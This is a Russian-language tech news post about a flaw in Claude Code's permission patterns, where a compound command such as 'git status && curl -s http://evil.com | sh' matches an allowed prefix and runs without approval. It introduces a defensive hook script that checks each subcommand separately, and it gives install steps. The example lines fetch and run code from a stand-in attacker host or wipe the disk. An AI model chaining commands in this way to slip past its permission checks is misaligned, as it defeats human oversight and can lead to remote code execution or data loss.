Умный Bash-хук для контроля прав Claude Code предотвращает обход составных команд

✍️ OpenClawRadar📅 Опубликовано: 18 марта 2026 г.🔗 Source
Умный Bash-хук для контроля прав Claude Code предотвращает обход составных команд
Ad

Уязвимость в системе разрешений Claude Code

В системе разрешений Claude Code существует уязвимость, позволяющая составным bash-командам обходить шаблоны разрешения/запрета. Когда вы разрешаете команду вроде Bash(git status:*), Claude Code сопоставляет всю строку команды с этим шаблоном. Это означает, что составная команда вроде git status && curl -s http://evil.com | sh будет соответствовать шаблону git status* и получит автоматическое разрешение, даже несмотря на цепочку команд curl и sh.

Решение: claude-hooks

Исправление представляет собой один Python-скрипт под названием claude-hooks, который работает как хук PreToolUse. Он выполняет несколько ключевых функций:

  • Разбивает составные команды, разделяя по &&, ||, ;, |, переносам строк, и рекурсивно извлекает содержимое подпроцессов $() и обратных кавычек
  • Нормализует каждую подкоманду, удаляя префиксы переменных окружения, перенаправления ввода-вывода, тела heredoc и ключевые слова оболочки
  • Проверяет каждую подкоманду отдельно по вашим существующим шаблонам permissions.allow и permissions.deny
  • Запрет побеждает — если любая подкоманда соответствует шаблону запрета, вся команда запрещается
  • Все должны быть разрешены — автоматическое разрешение происходит только тогда, когда каждая подкоманда соответствует шаблону разрешения
  • Плавный переход — если какая-либо подкоманда неизвестна, вы всё равно получаете обычное окно запроса разрешений
Ad

Инструкции по установке

Установка занимает около 30 секунд:

curl -fsSL -o ~/.claude/hooks/smart_approve.py \
https://raw.githubusercontent.com/liberzon/claude-hooks/main/smart_approve.py

Добавьте в ~/.claude/settings.json:

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash",
        "hooks": [
          {
            "type": "command",
            "command": "python3 ~/.claude/hooks/smart_approve.py"
          }
        ]
      }
    ]
  }
}

Инструмент не имеет зависимостей, кроме Python 3, и не требует настройки — он читает ваши существующие шаблоны разрешений.

Примеры поведения

  • git status: Разрешено как с хуком, так и без него
  • git add . && git commit -m "msg": Разрешено как с хуком, так и без него (оба соответствуют git *)
  • git status && rm -rf /: Разрешено без хука, с хуком появляется окно запроса (у rm -rf / нет разрешения)
  • `npm test | tee output.log`: Разрешено
  • FOO=bar git push: Может не соответствовать без хука, разрешено с хуком (переменная окружения удалена)

Репозиторий доступен по адресу https://github.com/liberzon/claude-hooks под лицензией MIT.

📖 Read the full source: r/ClaudeAI

Ad

👀 Смотрите также

Сообщается, что исходный код Claude Code был утечен через карту файлов NPM.
Безопасность

Сообщается, что исходный код Claude Code был утечен через карту файлов NPM.

Твит сообщает, что исходный код Claude Code был утечен через файл карты в их реестре NPM. Обсуждение на HN набрало 93 балла и 35 комментариев.

OpenClawRadar
Студент вносит два патча безопасности в производственную систему OpenClaw.
Безопасность

Студент вносит два патча безопасности в производственную систему OpenClaw.

Студент-разработчик исправил уязвимость типа 'fail-open' в логике шлюза OpenClaw (PR #29198) и уязвимость tabnabbing в изображениях чата (PR #18685). Оба исправления были включены в производственные релизы v2026.3.1 и v2026.2.24 соответственно.

OpenClawRadar
Агенты ИИ позволяют хакерам-одиночкам взламывать правительства и проводить кампании программ-вымогателей
Безопасность

Агенты ИИ позволяют хакерам-одиночкам взламывать правительства и проводить кампании программ-вымогателей

Одиночный оператор с помощью Claude Code и ChatGPT выкрал 150 ГБ данных из правительственных учреждений Мексики, включая 195 миллионов записей налогоплательщиков. Другой злоумышленник использовал Claude Code для проведения полномасштабной кампании вымогательства против 17 организаций здравоохранения и экстренных служб.

OpenClawRadar
🦀
Безопасность

Статический анализ 48 приложений, сгенерированных ИИ: 90% имели уязвимости в безопасности

Разработчик проверил 48 публичных GitHub-репозиториев, созданных с помощью Lovable, Bolt и Replit. 90% из них имели хотя бы одну уязвимость. Распространенные проблемы: пробелы в аутентификации (44%), функции Postgres SECURITY DEFINER (33%), BOLA/IDOR (25%) и закоммиченные секреты (25%).

OpenClawRadar